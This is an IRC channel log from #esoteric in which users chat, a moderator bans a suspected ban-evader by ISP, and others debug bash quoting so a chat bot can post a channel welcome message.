PRIVMSG #esoteric :ACTION assumes a hunter just entered < 1395122608 825364 :elliott!~elliott@unaffiliated/elliott QUIT :Ping timeout: 265 seconds < 1395122623 422130 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1395122797 45733 :elliott_!~elliott@unaffiliated/elliott JOIN :#esoteric < 1395122912 945067 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 255 seconds < 1395123185 143042 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 246 seconds < 1395123899 65194 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 246 seconds < 1395124370 5793 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: ^welcome < 1395124382 535514 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: It's a bit cut off, but better than nutting. < 1395124612 703595 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :^welcome < 1395124612 815138 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page. (For the other kind of esoterica, try ... < 1395124617 261113 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :thank god. < 1395125233 707586 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :what happened to the old one? < 1395125272 571398 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :executed for sedition. < 1395125397 692652 :ion!ion@heh.fi PRIVMSG #esoteric :executed for sediment < 1395125480 879064 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :is hackego actually gone for good? :( < 1395125578 350709 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395125662 781903 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :i dunno < 1395125676 649337 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :i just like talking about sedition < 1395125694 161033 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 255 seconds < 1395125851 415159 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1395126362 765552 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395126403 293431 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1395126715 426275 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1395126767 764952 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Ping timeout: 252 seconds < 1395127879 343294 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1395128407 292069 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1395128417 744055 :Slereah__!~jackal@193.253.170.240 QUIT :Ping timeout: 252 seconds < 1395128555 109005 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1395128664 87790 :oklopol!~oklopol@dyn60-339.yok.fi QUIT :Ping timeout: 255 seconds < 1395128691 48618 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 255 seconds < 1395128752 89646 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395128960 986566 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 255 seconds < 1395129163 920972 :applybot!~applybot@unaffiliated/jafet QUIT :Remote host closed the connection < 1395129189 206134 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I like Vonnegut's _The Gospel from Outer Space_: http://www.readvonnegut.com/2010/07/kilgore-trout-slaughterhouse-five.html < 1395129231 64652 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 255 seconds < 1395129332 973565 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :huh, thought that was a different book 4 some reason < 1395129643 410841 :password2!~password@197.78.144.251 QUIT :Ping timeout: 264 seconds < 1395129767 406749 :Froox!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1395129767 518251 :Frooxius!~Frooxius@cust-101.ktknet.cz QUIT :Read error: Connection reset by peer < 1395129793 244348 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1395130284 343512 :MoALTz!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395130387 357738 :MoALTz__!~no@user-46-112-127-158.play-internet.pl QUIT :Ping timeout: 264 seconds < 1395130729 53912 :jconn!~va@1-130.ipswich.cc.colocall.com QUIT :Ping timeout: 265 seconds < 1395132034 137662 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :sometimes I see $ used to mean cache and it annoys me greatly... I guess $ = cash = cache, but that's so ugly < 1395132047 153946 :Bike!~Glossina@67-5-254-249.ptld.qwest.net QUIT :Ping timeout: 246 seconds < 1395132306 419409 :ion!ion@heh.fi PRIVMSG #esoteric :Huh. I have never seen that. I guess i’m lucky. < 1395132711 337951 :oklopol!~oklopol@a88-115-136-20.elisa-laajakaista.fi JOIN :#esoteric < 1395132777 225555 :applybot!~applybot@unaffiliated/jafet JOIN :#esoteric < 1395134404 158493 :applybot!~applybot@unaffiliated/jafet QUIT :Remote host closed the connection < 1395134810 337324 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395135633 647842 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :*yawn* < 1395135821 6092 :applybot!~applybot@unaffiliated/jafet JOIN :#esoteric < 1395136579 353353 :jumpifnotzero!~jumpifnot@koln-5d815e7e.pool.mediaWays.net JOIN :#esoteric < 1395136907 564676 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :jumpifnotzero: hi hagb4rd < 1395136972 689560 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(if you're not evading a ban, you'd better say so in the next few minutes.) < 1395136976 661017 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395137074 949968 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot, lemma "((p --> q) --> p) --> p" try0 < 1395137082 466439 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : Proving: 1. ((p --> q) --> p) --> p \ Trying "simp", "auto", "fast", "fastforce", "force", "blast", "metis", "linarith", and "presburger"... \ Try this: by fast \ (fast, force, blast, linarith: 0 ms; auto: 1 ms; metis: 2 ms; fastforce: 3 ms). < 1395137116 734401 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot, by fast < 1395137117 285103 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : QED: lemma ((?p --> ?q) --> ?p) --> ?p < 1395137165 720073 :ChanServ!ChanServ@services. MODE #esoteric +o :elliott_ > 1395137165 961166 NAMES :#esoteric < 1395137191 377984 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395137192 348427 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395137206 420817 :elliott_!~elliott@unaffiliated/elliott KICK #esoteric jumpifnotzero :if you are not banned user hagb4rd, sorry for the inconvenience and please /msg me < 1395137215 283653 :elliott_!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*@*.pool.mediaWays.net > 1395137215 305804 NAMES :#esoteric < 1395137241 655868 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ISP only used by two people who aren't hagb4rd in the logs < 1395137248 897363 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :both joined and parted immediately. heck, maybe they were hagb4rd too < 1395137253 243571 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :should be okay for a temporary ban < 1395137257 69251 :elliott_!~elliott@unaffiliated/elliott MODE #esoteric -o :elliott_ > 1395137257 91632 NAMES :#esoteric < 1395137300 46007 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(ban not just based on ISP but also CTCP VERSION giving back some awful German client that nobody else in their right mind would use, and also the lack of a reply) < 1395137364 148466 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395137379 104399 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Is it bad that, despite mostly programming in Haskell, when I program in Rust I use a very mutation-heavy style? < 1395137762 936254 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Maybe rust is bad < 1395137767 560432 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :or haskell is bad! < 1395137821 190966 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :full disclosure: < 1395137823 466943 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:15:53 -!- Irssi: Starting query in freenode with jumpifnotzero < 1395137823 522912 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:15:53 sry was afk < 1395137823 523066 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:16:12 hi < 1395137823 523158 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:16:19 hi < 1395137825 626779 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:16:33 i was not evading now. i was yesterday.. my isp reconnected me < 1395137828 637163 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:16:39 I banned you on the assumption that you were a user who has been persistently evading a ban recently, based on your ISP and client < 1395137831 599000 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:16:42 are you hagb4rd? < 1395137834 152853 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:16:44 yes < 1395137836 621379 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:16:47 okay < 1395137932 419466 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :elliott_, how is Hexham doing? < 1395137948 571299 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :hexcellently < 1395137952 938201 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Will you need to disclose that you might disclose that you are disclosing this < 1395137978 758341 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Jafet: I don't need to disclose the whole closure. < 1395137982 873443 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :then it wouldn't be closed any more. < 1395138060 32111 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I thought you had it fully disclosed. < 1395138090 284890 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it leaked. < 1395138163 501322 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :what is the difference between a leak and a disclosure? < 1395138819 301518 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Also, what is the awful German client that nobody else in their right mind would use? < 1395138920 732337 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :10:01:40 [freenode] CTCP VERSION reply from jumpifnotzero: Nettalk 6.7.16 (c)2002-2012 by Nicolas Kruse (www.ntalk.de) < 1395138968 66987 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Oh, okay < 1395139039 122888 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :"i was not evading now. i was yesterday" < 1395140707 772246 :boily!~boily@96.127.201.149 QUIT :Quit: Poulet! < 1395142987 414722 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1395143762 59443 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395144429 213904 :ggherdov!sid11402@gateway/web/irccloud.com/x-ikcqlbbbchrlrtpx QUIT :Ping timeout: 245 seconds < 1395144442 31514 :Vorpal!~Vorpal@unaffiliated/vorpal QUIT :Read error: Operation timed out < 1395144826 401221 :Vorpal!~Vorpal@unaffiliated/vorpal JOIN :#esoteric < 1395145286 512144 :ggherdov_!sid11402@gateway/web/irccloud.com/x-inxlljidyijionhb JOIN :#esoteric < 1395146673 161580 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395146695 362770 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 264 seconds < 1395147579 86397 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395147860 154933 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395148051 55330 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395148118 706846 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :does anyone have ipv6? < 1395148179 356872 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!echo hi < 1395148181 163590 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :hi < 1395148195 119410 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :One would presume so < 1395148233 197326 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :now hackego's repository browser isn't loading either :( < 1395148278 154511 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I mean anyone here. < 1395148400 714063 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp sh echo 'Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395148401 44613 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​There is already an interpreter for sh! < 1395148404 872216 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1395148420 616925 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp welcome echo 'Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395148421 82175 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395148426 828275 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome < 1395148427 913013 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​'Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395148431 791622 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1395148436 70894 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!delinterp welcome < 1395148436 392270 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395148443 126442 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp welcome echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395148443 481713 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395148447 580644 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome < 1395148448 367060 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395148494 136345 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yay the dog hasn't barked today! < 1395148935 331645 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :!welcome INSERT_NICK_HERE < 1395148935 972791 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395148939 277651 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :DEFICIENT < 1395148954 124102 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sheesh < 1395148968 334435 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!delinterp welcome < 1395148968 548811 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395148993 856656 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com JOIN :#esoteric < 1395149038 549147 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's the nick issue that's fungot's problem too; an Underload program could output that entire message, but couldn't do the nick; the brainfuck interpreter has a shorter output length limit. < 1395149038 655266 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: " and this is a new game. there is no new-line in morse code ( the way databases do it), but... it's x-treme! < 1395149047 445444 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Should probably just bump up that number.) < 1395149078 151804 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :addinterp should be able to do nicks < 1395149081 724091 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :after all, it is for interpreters < 1395149089 297293 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome sh echo $(cat) test < 1395149089 612430 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395149091 323719 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!welcome q r s < 1395149091 752641 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :q r s test < 1395149096 68686 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :easy. < 1395149258 568069 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh that's how EgoBot's input works < 1395149263 594820 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :well, it's an interpreter < 1395149269 51872 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :they tend to take programs as input. < 1395149304 285508 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well i _still_ don't know how to add a colon only when there is a parameter. < 1395149316 836918 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(and strip final space iirc) < 1395149323 599868 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm... < 1395149330 126801 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :of course < 1395149370 301786 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :well, you have sh. < 1395149374 329703 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :or perl. or anything else < 1395149389 403880 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh [[ -z abc ]] || echo "abc: " < 1395149389 722042 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :abc: < 1395149393 686864 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh [[ -z "" ]] || echo ": " < 1395149394 46826 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :No output. < 1395149408 720064 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!delinterp welcome < 1395149408 931265 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395149439 794661 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395149439 851520 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter nick___cat__ does not exist! < 1395149445 727340 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395149445 941720 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395149450 715129 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!welcome < 1395149451 115878 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/tmp/input.20894: line 1: syntax error near unexpected token `(' \ /tmp/input.20894: line 1: `nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395149454 185949 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :elliott_: bloody hell i was working here < 1395149459 39044 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!delinterp bash < 1395149459 251040 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​That interpreter doesn't exist! < 1395149461 457926 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :... < 1395149463 169180 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!delinterp welcome < 1395149463 383131 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395149464 810665 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome bash nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395149465 24512 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter bash does not exist! < 1395149469 899768 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :come on. < 1395149474 321400 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp welcome sh -c sed 's?[ ]*$?Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)?' < 1395149474 535480 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395149481 501085 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome test < 1395149481 967476 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/tmp/input.21086: line 1: -c: command not found < 1395149482 927795 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :heh. < 1395149485 750427 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bah < 1395149488 986996 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's just "sh sed" < 1395149493 90179 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's !addinterp name interp ... < 1395149505 103774 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!delinterp test < 1395149505 307609 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​test is not a user interpreter. < 1395149508 651425 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm wait < 1395149511 71864 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and then !name ...input... is like !interp ... with ...input... as stdin < 1395149524 848308 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!delinterp welcome < 1395149525 168928 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395149564 531897 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wait. < 1395149671 515304 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you know i think your method is easier to fix < 1395149689 332999 :oklopol!~oklopol@a88-115-136-20.elisa-laajakaista.fi QUIT :Ping timeout: 240 seconds < 1395149814 41999 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it is < 1395149818 743205 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :just bash -c or don't use bashisms < 1395149892 89274 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp welcome bash -c 'sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395149892 342770 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter bash does not exist! < 1395149898 358832 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wait argh < 1395149904 591126 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp welcome SH bash -c 'sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395149905 79358 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter SH does not exist! < 1395149911 796500 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp welcome sh bash -c 'sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395149912 109578 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395149920 541293 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wtf did i bump caps lock < 1395149939 52242 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome nearly_headless_nick < 1395149939 519926 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/bin/bash: -c: line 0: syntax error near unexpected token `(' \ /bin/bash: -c: line 0: `sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395149944 981059 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or not. < 1395150045 674406 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh < 1395150049 625534 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :XD < 1395150054 687201 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!delinterp welcome < 1395150054 899782 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395150070 257069 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp welcome sh bash -c 'nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395150070 576423 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395150076 382630 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome nearly_headless_nick < 1395150076 915538 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/bin/bash: -c: line 0: syntax error near unexpected token `(' \ /bin/bash: -c: line 0: `nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)' < 1395150091 631477 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :_NOW_ WHAT < 1395150175 959039 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!delinterp welcome < 1395150176 173086 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395150223 278911 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Unquoted (? < 1395150241 59390 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1395150243 948536 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm right < 1395150248 770089 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Tor that matter, < and > . < 1395150255 821407 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :*For < 1395150358 420240 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp welcome sh bash -c 'nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo '\''Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)'\''' < 1395150358 741920 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395150365 826983 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome nearly_headless_nick < 1395150366 427174 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :nearly_headless_nick: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395150371 202068 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :whew! < 1395150384 459740 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome Melvar < 1395150384 993117 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :Melvar : Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395150392 366106 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i knew it. < 1395150426 393516 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :strip final space, i said. but did they listen to me? NO. < 1395150438 650822 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh well tired now. < 1395150507 851673 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!delinterp welcome < 1395150508 172083 :EgoBot!dlopen@libdl.so 